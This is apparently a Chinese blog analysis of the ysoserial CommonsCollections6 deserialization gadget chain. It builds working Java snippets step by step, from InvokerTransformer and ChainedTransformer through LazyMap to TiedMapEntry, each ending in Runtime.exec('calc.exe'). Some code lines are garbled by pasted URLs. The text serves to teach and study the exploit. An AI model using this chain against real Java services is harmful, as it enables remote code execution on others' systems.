利用链如下:
其中LazyMap.get()->ChainedTransformer.transform()-InvokerTransformer.transform()与CC1链一致 。
/* Gadget chain:java.io.ObjectInputStream.readObject()java.util.HashSet.readObject()java.util.HashMap.put()java.util.HashMap.hash()org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()org.apache.commons.collections.map.LazyMap.get()org.apache.commons.collections.functors.ChainedTransformer.transform()org.apache.commons.collections.functors.InvokerTransformer.transform()java.lang.reflect.Method.invoke()java.lang.Runtime.exec()*/
1、InvokerTransformer.transform()因为Runtime类不实现Serializable接口 , 所以使用Class类对象反射构造Runtime对象来实现exec方法 。InvokerTransformer.transform()具备反射执行能力 。
Class cr = Class.forName("java.lang.Runtime");Method getMethod = (Method) new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[]{}}).transform(cr);Runtime runtime = (Runtime) new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null,null}).transform(getMethod);new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc.exe"}).transform(runtime);
2、ChainedTransformer.transform()
使用ChainedTransformer构造方法,给iTransformers赋值,在transform中执行iTransformers所有元组的transform,transform传入的参数为前一个元组的对象 。所以这个方法可以对步骤1中链执行 。
public ChainedTransformer(Transformer[] transformers) {super();iTransformers = transformers;}public Object transform(Object object) {for (int i = 0; i < iTransformers.length; i++) {object = iTransformers[i].transform(object);}return object;}
创建一个Transformer[],包含步骤1中所有对象 。
Transformer[] transformers = {new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[]{}}),new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})};
由于步骤1中cr对象是Class对象,不实现Transformer接口 。通过ConstantTransformer的transform方法得到一个实现Transformer的方法 。
public ConstantTransformer(Object constantToReturn) { super(); iConstant = constantToReturn;}public Object transform(Object input) { return iConstant;}
所以最终得到的transformers是
public static void main(String[] args) throws Exception {//Class cr = Class.forName("java.lang.Runtime");;Transformer[] transformers = {new ConstantTransformer(Class.forName("java.lang.Runtime")),new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[]{}}),new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})};new ChainedTransformer(transformers).transform(1);//calc.exe}
3、LazyMap.get()
LazyMap类的get方法实现了 , 对factory的transform 。factory的decorate方法实现了对factory的赋值 , Transformer类型
所以向decorate传入new ChainedTransformer(transformers),最终调用get来实现new ChainedTransformer(transformers)的transform 。
public static Map decorate(Map map, Transformer factory) {return new LazyMap(map, factory);}public Object get(Object key) {// create value for key if key is not currently in the mapif (map.containsKey(key) == false) {Object value = https://www.huyubaike.com/biancheng/factory.transform(key);map.put(key, value);return value;}return map.get(key);}
当然调用get方法的时候,如果key是不存在的才会执行factory.transform(key),所以最终的调用
Transformer transformer = new ChainedTransformer(transformers);Map map = new HashMap();map.put(1,"hello");Map lazyMap = LazyMap.decorate(map, transformer);lazyMap.get(2);//calc.exe
4、TiedMapEntry
根据利用链,下一步通过TiedMapEntry构造方法传入map和key , 通过getValue实现对map参数的get操作 , 所以将lazyMap和一个不存在的key作为参数传入 。
public TiedMapEntry(Map map, Object key) {super();this.map = map;this.key = key;}public Object getValue() {return map.get(key);}
【ysoserial commonscollections6 分析】利用链
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, 2);tiedMapEntry.getValue();
再看TiedMapEntry的hashCode方法 , 实现了getValue()的调用 。
public int hashCode() {Object value = https://www.huyubaike.com/biancheng/getValue();return (getKey() == null ? 0 : getKey().hashCode()) ^(value == null ? 0 : value.hashCode());}